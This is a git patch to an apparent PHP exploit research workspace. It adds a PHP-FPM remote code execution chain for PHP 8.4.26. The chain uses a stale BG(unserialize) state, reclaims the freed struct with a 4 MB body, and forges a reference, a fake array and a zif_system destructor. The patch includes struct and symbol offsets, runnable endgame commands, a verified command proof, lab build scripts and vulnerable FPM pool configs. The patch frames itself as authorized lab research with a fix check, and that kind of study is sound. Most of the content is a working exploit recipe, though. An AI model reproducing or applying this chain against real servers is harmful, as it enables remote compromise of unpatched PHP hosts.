From 340ecf82d11769cee10a8f7d0dd057727e08642d Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:19:54 +0200 Subject: [PATCH 1/9] Add PHP-FPM exploitation chain with verified RCE on 8.4.26 The Apache stage-1/2/3 chain does not transfer to PHP-FPM: a pre-RINIT OOM kills the worker (FPM_EXIT_SOFTWARE). This adds the FPM-viable primitive instead, exploiting the same CVEs through the stale BG(unserialize) state: - producer: post-RINIT OOM leaves {level=1, data=d} dangling - consume: pre-RINIT rfc1867 reuses d; a 4 MB builder-pool body reclaims the 8216-byte struct and forges var_hash - R:2 becomes an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; session shutdown fires the command (verified: uid=1000 proof in the nginx+FPM lab) Ships tools/php2shell_fpm.py (arm/reclaim/fire client, patchcheck), tools/php2shell_fpm_labs.py (user-prefix nginx+FPM lab, no Docker), profiles/8.4.26-fpm.json, schema extensions (sapi: fpm, fpm block), FPM dispatch in php2shell_auto.py (--sapi/--builder), unit and lab-gated integration tests, and docs/fpm-chain.md. patchcheck confirms 8.4.27 is clean (level=0, workers survive). --- .gitignore | 2 + Makefile | 14 +- README.md | 85 ++- docs/fpm-chain.md | 238 +++++++ docs/rce-guide.md | 41 +- lab/fpm/build_nginx.sh | 52 ++ lab/fpm/build_php.sh | 52 ++ lab/fpm/nginx.conf.in | 26 + lab/fpm/php-fpm.conf.in | 60 ++ lab/fpm/php.ini | 24 + lab/fpm/webroot/app.php | 25 + lab/fpm/webroot/index.php | 1 + lab/fpm/webroot/ref.php | 13 + profiles/8.2.34-bookworm-aarch64.json | 9 +- profiles/8.3.0-bookworm.json | 6 +- profiles/8.3.33-wordpress.json | 21 +- profiles/8.4.26-fpm.json | 34 + profiles/schema.json | 184 ++++-- tests/test_core.py | 10 +- tests/test_fpm.py | 192 ++++++ tools/php2shell_auto.py | 86 ++- tools/php2shell_fpm.py | 860 ++++++++++++++++++++++++++ tools/php2shell_fpm_labs.py | 401 ++++++++++++ 23 files changed, 2346 insertions(+), 90 deletions(-) create mode 100644 docs/fpm-chain.md create mode 100755 lab/fpm/build_nginx.sh create mode 100755 lab/fpm/build_php.sh create mode 100644 lab/fpm/nginx.conf.in create mode 100644 lab/fpm/php-fpm.conf.in create mode 100644 lab/fpm/php.ini create mode 100644 lab/fpm/webroot/app.php create mode 100644 lab/fpm/webroot/index.php create mode 100644 lab/fpm/webroot/ref.php create mode 100644 profiles/8.4.26-fpm.json create mode 100644 tests/test_fpm.py create mode 100755 tools/php2shell_fpm.py create mode 100755 tools/php2shell_fpm_labs.py diff --git a/.gitignore b/.gitignore index bf1102c..7352274 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,5 @@ __pycache__/ vendor/ lab/wordpress/wp/ lab/rce/out/ +lab/fpm/runtime/ +lab/fpm/webroot/out/ diff --git a/Makefile b/Makefile index 71e5143..7b1a552 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: bootstrap test labs-up labs-down labs-status labs-test lint clean +.PHONY: bootstrap test labs-up labs-down labs-status labs-test labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-test lint clean bootstrap: ## Fetch and pin the upstream exploit python3 tools/bootstrap_upstream.py @@ -21,6 +21,18 @@ labs-status: ## Show laboratory container status labs-test: ## Run the dispatcher against each lab python3 tools/php2shell_labs.py test +labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker) + python3 tools/php2shell_fpm_labs.py up + +labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories + python3 tools/php2shell_fpm_labs.py down + +labs-fpm-status: ## Show FPM laboratory status + python3 tools/php2shell_fpm_labs.py status + +labs-fpm-test: ## Run primitive + endgame against the FPM lab + python3 tools/php2shell_fpm_labs.py test + inventory: ## Print the profile and offset inventory python3 tools/php2shell_inventory.py diff --git a/README.md b/README.md index 4a2fe77..73f6765 100644 --- a/README.md +++ b/README.md @@ -15,10 +15,11 @@ > triggers pre-RINIT out-of-memory conditions and kills Apache children. PHP2Shell is a research workspace for the `session.upload_progress` OOM / -stale-pointer chain in PHP's Apache module. It packages a version-aware -dispatcher, a per-build profile engine, reproducible laboratories, a calibration -factory and runtime instrumentation around the public research exploit by -[9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). +stale-pointer chain in PHP's Apache module, plus the PHP-FPM variant that +exploits the same CVEs through the stale `BG(unserialize)` state. It packages a +version-aware dispatcher, a per-build profile engine, reproducible laboratories, +a calibration factory and runtime instrumentation around the public research +exploit by [9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). The goal is reproducible research and defensive validation, not mass exploitation. The dispatcher refuses to guess: it stops when the build has no @@ -35,6 +36,7 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | +| PHP 8.4.26 FPM | `php:8.4.26-fpm` (nginx) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; worker runs `uid=1000` proof | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -47,6 +49,9 @@ not match the profile. | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | **13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** +Plus one FPM profile (`8.4.26-fpm`) with verified RCE through the +`BG(unserialize)` stale-state chain (no heap-leak stages; the stale struct is +located with the oracle each run). `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command proof on an isolated lab. `no` means not verified, not necessarily impossible; @@ -75,6 +80,13 @@ default retries because its stage 3 is probabilistic. - **Command staging** — on local labs `-c` accepts commands of any length, stages them in `/out/c` and captures the output. `--script` and `--interactive` provide batch and REPL modes. +- **FPM exploitation chain** — `tools/php2shell_fpm.py` exploits the same + CVEs against PHP-FPM behind nginx: an out-of-memory request leaves the + `BG(unserialize)` pointer stale, the next request reclaims the struct, and a + forged session variable turns the session shutdown path into `zif_system`. + Verified command execution on 8.4.26; `patchcheck` proves 8.4.27 is clean. + Requires a `/proc//mem` oracle (`ptrace_scope=0`), so it runs in the + local laboratory mode (`--builder` endpoint for the 4 MB arm phase). - **Calibration factory** — `php2shell_calibrate.py` discovers stages 1-2 and verifies stage 3 with a real proof before writing `rce: true`; `php2shell_matrix.py` runs the factory over a matrix of images. @@ -139,6 +151,25 @@ python3 tools/php2shell_labs.py status python3 tools/php2shell_inventory.py ``` +### PHP-FPM laboratory (no Docker) + +The FPM chain runs against a user-prefix PHP build with nginx, using the +`/proc//mem` oracle (`ptrace_scope=0`): + +```sh +python3 tools/php2shell_fpm_labs.py up --version 8.4.26 +python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +# or drive the chain directly: +python3 tools/php2shell_fpm.py endgame \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 +python3 tools/php2shell_fpm_labs.py down +``` + +The consumer request exits with HTTP 502 (the worker dies after firing +`zif_system`); the proof is written by the command itself and served statically +from `/out/`. See [docs/fpm-chain.md](docs/fpm-chain.md). + ## How it works The chain abuses the `session.upload_progress` callback that runs **before** @@ -158,6 +189,30 @@ the request startup (pre-RINIT) and therefore before the target script: The full technical write-up, including the session lifecycle and the heap grooming, is in [docs/php2shell-analysis.md](docs/php2shell-analysis.md). +### PHP-FPM chain + +The FPM lifecycle differs from mod_php: a pre-RINIT OOM kills the worker +outright (`FPM_EXIT_SOFTWARE`), so the Apache stage-1/2/3 carrier does not +transfer. The FPM chain instead abuses the stale `BG(unserialize)` state: + +1. **Arm.** An out-of-memory multipart request aborts between + `php_var_unserialize_init` and `php_var_unserialize_destroy`, leaving + `BG(unserialize).data` dangling and `level=1`. The next request that reaches + RINIT memsets `BG` — so the stale window is one request wide. +2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is + found with the `/proc//mem` oracle (two candidate heap slots; a mismatch + self-corrects on retry). A 4 MB body posted to a second endpoint (the + builder pool) reclaims the chunk. +3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference` + whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume + request attaches it as session variable `r`; at session shutdown + `zval_ptr_dtor(&PS(http_session_vars))` destroys the reference, the array + destructor loop calls `zif_system(frame)` with the argument at `execute_data + + 0x50` — a fake `zend_string` holding the command. + +`cmd_patchcheck` verifies the stale arm on 8.4.26 and that 8.4.27 (`level=0`) +is clean. Details in [docs/fpm-chain.md](docs/fpm-chain.md). + A profile is per build: ```json @@ -191,9 +246,12 @@ The shipped calibration targets: `session.use_strict_mode=0`. A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM) -does not match the shipped calibration. Multi-worker targets are handled with -`--pin-workers`; `display_errors=Off` and FPM remain open research items (see -Limitations). +does not match the shipped Apache calibration. Multi-worker Apache targets are +handled with `--pin-workers`; `display_errors=Off` remains an open research +item. The FPM chain has its own requirements: nginx in front of FPM, a +`/proc//mem` oracle (`yama ptrace_scope=0`), a small consumer pool +(`memory_limit=8M`, cleanup on) and a larger builder pool (64M, cleanup off) +for the 4 MB arm phase — see [docs/fpm-chain.md](docs/fpm-chain.md). ## Multi-worker targets @@ -277,7 +335,9 @@ profiles/*.json heap profiles (offsets, heap params, verified fla profiles/offsets/*.json ELF symbol offsets per image vendor/ generated upstream checkout (git-ignored) tools/ - php2shell_auto.py version-aware dispatcher + php2shell_auto.py version-aware dispatcher (Apache + FPM) + php2shell_fpm.py PHP-FPM chain client (arm/reclaim/fire) + php2shell_fpm_labs.py user-prefix FPM laboratories (no Docker) php2shell_calibrate.py profile generator with proof verification php2shell_matrix.py profile factory over image tags php2shell_rce.py manual upstream launcher @@ -292,8 +352,10 @@ tools/ lab/ wordpress/ WordPress 8.3.33 + mod_php laboratory rce/ single-worker calibration lab and configs + fpm/ nginx + PHP-FPM laboratory (8.4.26 / 8.4.27) docs/ php2shell-analysis.md technical analysis + fpm-chain.md PHP-FPM chain and laboratory rce-guide.md full RCE guide and profile schema exploit-report.md laboratory results labs.md laboratory reference @@ -368,8 +430,10 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Limitations -- **mod_php prefork only.** PHP-FPM has a different lifecycle; the chain does - not transfer as-is and FPM is not supported. +- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; + the FPM chain needs nginx + FPM with a `/proc//mem` oracle + (`ptrace_scope=0`) and two endpoints (consumer + builder pool). Other SAPIs + are not supported. - **One worker / pinning.** Without pinning, the per-worker session state breaks stage 1. - **Per-build offsets.** A profile is tied to a `libphp.so` build; the same @@ -392,6 +456,7 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Documentation - [Technical analysis](docs/php2shell-analysis.md) +- [PHP-FPM chain](docs/fpm-chain.md) - [RCE guide and profile schema](docs/rce-guide.md) - [Laboratory results](docs/exploit-report.md) - [Laboratories](docs/labs.md) diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md new file mode 100644 index 0000000..0d31dfa --- /dev/null +++ b/docs/fpm-chain.md @@ -0,0 +1,238 @@ +# The PHP-FPM chain + +The upstream Apache chain (CVE-2026-109618 / CVE-2026-109619, stages 1-3) +needs a pre-RINIT out-of-memory bailout. Under PHP-FPM that bailout is fatal: +`fpm_main.c` treats it as `FPM_EXIT_SOFTWARE` and kills the worker, so the +Apache progress-cache UAF never survives to the next request. + +The FPM-viable primitive is the **stale `BG(unserialize)` state** — the same +CVEs through a different window. Verified end-to-end on PHP 8.4.26 (amd64, +Debian) in the local laboratory; `cmd_patchcheck` confirms 8.4.27 leaves +`level=0` (clean). + +> **Authorized testing only.** The chain is disruptive: it sends multi-megabyte +> bodies, triggers out-of-memory conditions and kills FPM workers. Use it only +> against systems you own or have written permission to test. + +## Why FPM differs from mod_php + +In mod_php the Apache chain reuses per-request heap state across HTTP +requests handled by the same prefork child. FPM's worker lifecycle differs in +two ways: + +1. A pre-RINIT OOM kills the whole worker (`fpm_main.c:1871` → + `FPM_EXIT_SOFTWARE`), so the progress-cache UAF cannot be consumed later. +2. `PHP_RINIT(basic)` runs `memset(&BG, 0, ...)` on **every** request that + reaches RINIT, wiping `BG(unserialize)` — the stale window is exactly one + request wide. + +The chain therefore has to *re-claim* the stale struct inside the request that +still sees it, before RINIT runs. The rfc1867 multipart upload handler gives +exactly that window. + +## The chain + +All offsets are per build and live in `profiles/8.4.26-fpm.json` +(`fpm.basic_globals`, `fpm.bg_unserialize_*`, `libphp.zif_system` / +`libphp.zval_ptr_dtor`). Two structures matter (verified against the 8.4.26 +sources): + +- `BG(unserialize)` in `php_basic_globals` + (`ext/standard/basic_functions.h`) is + `{ struct php_unserialize_data *data; unsigned level; }` — `data` at + `basic_globals + 872`, `level` at `+880` (the `fpm.bg_unserialize_*` + profile fields). +- `struct php_unserialize_data` (`ext/standard/var_unserializer.re`) is + `{ var_entries *last; var_dtor_entries *first_dtor, *last_dtor; + HashTable *allowed_classes, *ref_props; zend_long cur_depth, max_depth; + var_entries entries; }` with + `var_entries = { zend_long used_slots; void *next; zval *data[1018]; }` — + 56 + 8160 = **8216 bytes** (`fpm.struct_size`). The forged `R:2` target + lands in `entries.data[]`; the reclaim buffer overwrites the whole chunk. + +### 1. Arm — post-RINIT OOM leaves `BG(unserialize)` stale + +`producer` sends `GET app.php` with a cookie naming a large session +(`~4 MB`, built once by the builder pool with `cleanup=Off`). +`session_start()` decodes the session **post-RINIT**; the decode pushes +`level` to 1 and allocates the 8216-byte struct at `d`; the allocation storm +then hits `memory_limit=8M` and bails out. `zend_try` in `php_execute_script` +catches the bailout, the worker survives, and `BG(unserialize)` keeps +`{level=1, data=d}` pointing at the teardown-freed struct. + +At this point `d` is dangling: the only live reference in the engine is the +stale `BG` pair. Every subsequent request that reaches RINIT memsets `BG`, so +the consumer must arrive *before* its own RINIT. + +### 2. Locate and reclaim (oracle lab mode) + +`Oracle` (local lab only) reads `/proc//mem` at +`basic_globals + 872/+880` to get `d` and `level`, plus the worker's PIE base +for the FNM offsets. Two heap slots recycle the struct +(`0x7f07be280000` / `0x7f07be281000` on the reference build); a mismatch +self-corrects on retry (`cmd_endgame` verifies probe-arm `d` equals +consume-arm `d` and retries up to 4×, rebuilding the oracle after a dead +worker). + +The consume request is a multipart POST (pre-RINIT): the rfc1867 handler runs +inside `php_hash_environment()`, i.e. **before** `zend_activate_modules()` +where `PHP_RINIT(basic)` would memset `BG`. `php_session_initialize()` → +`php_session_decode()` → `php_var_unserialize_init()` **reuses** `d`. A 4 MB +body (the `reclaim` part) reclaims `d`'s slot; the controlled content plants a +forged `var_entries` at the exact offsets of the original struct. + +The 4 MB arm phase is posted to a **second endpoint** (the builder pool, +`memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill +the consumer worker before the fire. + +### 3. Forge — reference → fake array → `zif_system` + +The reclaimed buffer carries, at the offsets `php_var_unserialize` will read: + +- a fake `zend_reference` (`IS_REFERENCE`, refcount 0) whose `val.type` is + `IS_ARRAY` and whose `gc`/`val` buffers point into the same chunk; +- a fake `zend_array` (`zend_array` layout: `arData`, `nNumUsed`, `flags = + HASH_FLAG_STATIC_KEYS (0x10)`, `pDestructor = zif_system`) with one bucket; +- a fake `zend_execute_data` frame (80 B) whose arg 1 (`execute_data + 0x50`) + is a fake `zend_string` holding the command (≤ 87 bytes, no NUL); +- the command bytes themselves and a NUL terminator. + +The consume request's session contains `r|R:2`; the forged buffer supplies the +`R:2` target, so `r` becomes an `IS_REFERENCE` to the fake array. + +### 4. Fire — session shutdown calls `zif_system` + +`consume` attaches `r`; the worker's session shutdown path does the rest: + +1. `php_session_flush(1)` saves the session — plain arrays are never + addref'd, and `php_add_var_hash`'s temporary ADDREF is balanced by the + serialize var_hash destroy, so the save is safe; +2. `php_rshutdown_session_globals` → `zval_ptr_dtor(&PS(http_session_vars))` + destroys `r` → DELREF the reference 1→0 → `zend_reference_destroy` → + `i_zval_ptr_dtor(&ref->val)`; +3. the fake array's DELREF 1→0 → `zend_array_destroy` → + `pDestructor != ZVAL_PTR_DTOR` → `zend_hash_destroy` (flags 0x10, no + `HASH_FLAG_HAS_EMPTY_IND`, plain `pDestructor(&p->val)` loop); +4. `zif_system(frame)` runs with `RDI` = the execute frame; the fake + `zend_string` at arg 1 is the command. `popen` executes it; the RETVAL + write to garbage `RSI` and an interior `efree` abort the worker — + acceptable: the proof is on disk and FPM respawns the worker. + +`php_var_unserialize_destroy` is skipped at consume (level 2→1) and 8.4.26 +has no RSHUTDOWN cleanup, so the fake dtor chunk at `d + 0x400` is never +walked during the request. The next request that reaches RINIT memsets `BG` +and re-arms from scratch — each `endgame` run is self-contained. + +## Proof + +The default command is `id>out/p1` (FPM pool cwd is `lab/fpm/webroot`, so +`out/` is served statically by nginx as `/out/p1`). The consumer request +exits **HTTP 502** (worker death after fire) — that is expected. Fetch the +proof separately: + +```sh +curl http://127.0.0.1:8110/out/p1 +# uid=1000(cryptocalypse) gid=1000(cryptocalypse) groups=... +``` + +On the reference run the proof was `uid=1000` (the unprivileged lab user), +i.e. real command execution inside the FPM worker. + +## patchcheck + +`cmd_patchcheck` runs the arm/probe sequence against a build and reports the +stale state: + +```sh +python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8110 +# 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED +python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8120 +# 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe) +``` + +## Laboratory + +`tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx +(no Docker, no root): + +| Build | chain HTTP | builder HTTP | chain FPM | builder FPM | +| --- | --- | --- | --- | --- | +| 8.4.26 | :8110 | :8111 | :9001 | :9002 | +| 8.4.27 | :8120 | :8121 | :9011 | :9012 | + +Pools (from `lab/fpm/php-fpm.conf.in`): + +- **chain** — `memory_limit=8M`, session `cleanup=On` (the consumer worker); +- **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session + files consumed by `producer` and `build-oom`). + +Requirements: `yama ptrace_scope=0` (the `/proc//mem` oracle), Python +3.11+, gcc for the user-prefix PHP builds (`lab/fpm/build*.sh`). + +```sh +python3 tools/php2shell_fpm_labs.py up --version 8.4.26 +python3 tools/php2shell_fpm_labs.py status +python3 tools/php2shell_fpm_labs.py smoke +python3 tools/php2shell_fpm_labs.py test # primitive + endgame end-to-end +python3 tools/php2shell_fpm_labs.py down +``` + +Starting 8.4.27 alone (`up --only 8.4.27`) needs the shared nginx already +running; if the port check fails, start the FPM workers directly: + +```sh +lab/fpm/runtime/php-8.4.27/sbin/php-fpm \ + -y lab/fpm/runtime/php-8.4.27/php-fpm.conf \ + -c lab/fpm/php.ini -p lab/fpm/runtime/php-8.4.27 --daemonize +``` + +## Driving the chain + +Directly (recommended first runs): + +```sh +python3 tools/php2shell_fpm.py primitive \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 +# forged benign var_entries; observable via app.php (rvalue) + +python3 tools/php2shell_fpm.py endgame \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 +``` + +Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes +to the FPM chain; the lab needs an explicit `--builder` because the consumer +endpoint alone is not enough for the 4 MB arm phase): + +```sh +python3 tools/php2shell_auto.py \ + -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +``` + +Tests: the unit suite always runs; the live lab tests are gated: + +```sh +python3 -m unittest discover -s tests -v # 48 tests, skips live FPM +PHP2SHELL_FPM_LAB=1 python3 -m unittest \ + tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame live +``` + +## Limitations and future work + +- **Oracle lab mode.** The remote (no-oracle) leak of `d` is future work; the + shipped chain needs `/proc//mem` and therefore runs loopback-only. +- **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are + PIE-relative offsets for the exact FPM build; another distro or version + needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`). +- **Command length.** ≤ 87 bytes, no NUL (fake `zend_string` carrier). +- **Worker death is expected.** The RETVAL/`efree` abort after `zif_system` + kills the consumer worker; FPM respawns it. Long-lived targets see a brief + 502. +- **Two endpoints.** The arm phase must hit a larger pool than the consumer; + a single-endpoint deployment would OOM the consumer worker. +- **8.4.27+ is clean.** `PHP_RINIT(basic)` reclaims/memsets the state before + the window; `patchcheck` proves `level=0`. + +See `profiles/8.4.26-fpm.json` for the verified profile and +`tools/php2shell_fpm.py` for the implementation. diff --git a/docs/rce-guide.md b/docs/rce-guide.md index 2e1bd1c..edb807b 100644 --- a/docs/rce-guide.md +++ b/docs/rce-guide.md @@ -298,14 +298,17 @@ the RCE stage and prints what is still missing. ### Profile schema (`profiles/-.json`) +Apache/mod_php profile: + ```json { + "name": "php-8.4.26-bookworm-amd64", "php_version": "8.4.26", "branch": "8.4", "fixed_in": "8.4.27", + "sapi": "apache", "verified": true, "rce": true, - "upstream_profile": "bookworm", "libphp": { "zif_system": "0x465370", "zval_ptr_dtor": "0x65eb60", "htdata": "0x690d8" }, "stages": { "stage1_n": 841, "stage1_forge_len": 79, @@ -313,14 +316,40 @@ the RCE stage and prints what is still missing. "stage3_pads": [[31,31],[31,31],[31,31],[31,31],[31,31],[31,31]], "stage3_carrier": true }, - "requirements": { "display_errors": "On", "memory_limit": "8M", "workers": 1 } + "oom_mb": 12 +} +``` + +FPM profile (no heap-leak stages; the `fpm` block carries the +`BG(unserialize)` offsets — see [fpm-chain.md](fpm-chain.md)): + +```json +{ + "name": "php-8.4.26-fpm", + "php_version": "8.4.26", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "rce": true, + "libphp": { "zif_system": "0x386660", "zval_ptr_dtor": "0x54a0d0", "htdata": null }, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [4096, 4096, 4096], + "reclaim_size": 12288 + }, + "stages": {}, + "oom_mb": 4 } ``` -`rce` must stay `false` until the chain has executed a command on a replica of -that exact build. Same PHP version built by another distribution has different -`libphp` offsets and a different heap layout, so the version string alone is not -a build fingerprint. +The full machine-checked schema is `profiles/schema.json`; validate with +`make validate-profiles`. `rce` must stay `false` until the chain has +executed a command on a replica of that exact build. Same PHP version built +by another distribution has different offsets, so the version string alone is +not a build fingerprint. ### Scaling to more versions diff --git a/lab/fpm/build_nginx.sh b/lab/fpm/build_nginx.sh new file mode 100755 index 0000000..98f55c1 --- /dev/null +++ b/lab/fpm/build_nginx.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# build_nginx.sh — build a minimal nginx into a user prefix (no root). +# +# Usage: lab/fpm/build_nginx.sh [version] +# Result: lab/fpm/runtime/nginx/sbin/nginx +set -euo pipefail + +VER="${1:-1.26.3}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/nginx" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +if [ ! -d "$SRC/nginx-$VER" ]; then + TARBALL="$SRC/nginx-$VER.tar.gz" + if [ ! -f "$TARBALL" ]; then + echo "[*] downloading nginx-$VER" + curl -fsSL -o "$TARBALL" "https://nginx.org/download/nginx-$VER.tar.gz" + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +cd "$SRC/nginx-$VER" +if [ ! -f Makefile ] || ! grep -q "$PREFIX" Makefile 2>/dev/null; then + echo "[*] configuring nginx-$VER (no pcre/zlib deps)" + ./configure \ + --prefix="$PREFIX" \ + --without-http_gzip_module \ + --without-http_rewrite_module \ + --without-http_charset_module \ + --without-http_ssi_module \ + --without-http_userid_module \ + --without-http_access_module \ + --without-http_auth_basic_module \ + --without-http_autoindex_module \ + --without-http_geo_module \ + --without-http_map_module \ + --without-http_split_clients_module \ + --without-http_referer_module \ + --without-http_proxy_module \ + --with-cc-opt="-O2" >/dev/null +fi +echo "[*] building nginx-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +# `make install` would lay out conf/ and logs/ under the prefix; that is all we need. +make install >/dev/null +echo "[+] nginx ready: $PREFIX/sbin/nginx" +"$PREFIX/sbin/nginx" -v diff --git a/lab/fpm/build_php.sh b/lab/fpm/build_php.sh new file mode 100755 index 0000000..1031076 --- /dev/null +++ b/lab/fpm/build_php.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# build_php.sh — build a vulnerable/fixed PHP with FPM into a user prefix. +# +# Usage: lab/fpm/build_php.sh [tarball] +# e.g. lab/fpm/build_php.sh 8.4.26 /tmp/opencode/php-8.4.26.tar.gz +# +# The result is lab/fpm/runtime/php-/{sbin/php-fpm,bin/php,...}. +# No root required. Extensions kept minimal: session + standard (zif_system). +set -euo pipefail + +VER="${1:?usage: build_php.sh [tarball]}" +TARBALL="${2:-}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/php-$VER" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +if [ ! -d "$SRC/php-$VER" ]; then + if [ -z "$TARBALL" ]; then + TARBALL="$SRC/php-$VER.tar.gz" + if [ ! -f "$TARBALL" ]; then + echo "[*] downloading php-$VER" + curl -fsSL -o "$TARBALL" "https://www.php.net/distributions/php-$VER.tar.gz" || + curl -fsSL -o "$TARBALL" "https://museum.php.net/php8/php-$VER.tar.gz" + fi + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +cd "$SRC/php-$VER" +if [ ! -f Makefile ] || [ ! -f config.status ]; then + echo "[*] configuring php-$VER (fpm, session, minimal)" + ./configure \ + --prefix="$PREFIX" \ + --disable-all \ + --enable-cli \ + --enable-fpm \ + --enable-session \ + --without-pear \ + --disable-cgi \ + --disable-phpdbg \ + CFLAGS="-O2 -g" +fi +echo "[*] building php-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +make install >/dev/null +echo "[+] php-$VER ready: $PREFIX/sbin/php-fpm" +"$PREFIX/sbin/php-fpm" -v | head -1 diff --git a/lab/fpm/nginx.conf.in b/lab/fpm/nginx.conf.in new file mode 100644 index 0000000..db2aee9 --- /dev/null +++ b/lab/fpm/nginx.conf.in @@ -0,0 +1,26 @@ +# php2shell FPM laboratory — one nginx fronts every build under test. +# SERVERS placeholder is expanded by tools/php2shell_fpm_labs.py (one server +# block per version: chain port + builder port). +worker_processes 1; +error_log @RUNTIME@/logs/nginx-error.log warn; +pid @RUNTIME@/logs/nginx.pid; +daemon on; +master_process on; + +events { + worker_connections 1024; +} + +http { + include @NGINX_CONF@/mime.types; + default_type application/octet-stream; + access_log @RUNTIME@/logs/nginx-access.log; + sendfile on; + keepalive_timeout 65; + client_max_body_size 128m; + client_body_buffer_size 256k; + client_body_temp_path @RUNTIME@/logs/client_temp; + fastcgi_temp_path @RUNTIME@/logs/fastcgi_temp; + +@SERVERS@ +} diff --git a/lab/fpm/php-fpm.conf.in b/lab/fpm/php-fpm.conf.in new file mode 100644 index 0000000..4b798f6 --- /dev/null +++ b/lab/fpm/php-fpm.conf.in @@ -0,0 +1,60 @@ +; php2shell FPM laboratory — rendered per build by tools/php2shell_fpm_labs.py. +; Two pools share one binary: +; chain — the exploit target (8M, cleanup On), one static worker +; builder — builds large session files pure-HTTP (64M, cleanup Off) +[global] +pid = @RUNTIME@/logs/fpm.pid +error_log = @RUNTIME@/logs/fpm.log +log_level = notice +daemonize = yes +emergency_restart_threshold = 1000 + +[chain] +listen = 127.0.0.1:@CHAIN_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +request_terminate_timeout = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 8M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[max_input_vars] = 1000 +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = On +php_admin_value[session.upload_progress.enabled] = On +php_admin_value[session.use_cookies] = 1 +php_admin_value[session.use_strict_mode] = 0 +php_admin_flag[display_errors] = On +php_admin_flag[display_startup_errors] = On +php_admin_value[error_reporting] = E_ALL +php_admin_value[expose_php] = On +php_admin_value[error_log] = @RUNTIME@/logs/php-chain.log + +[builder] +listen = 127.0.0.1:@BUILDER_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 64M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = Off 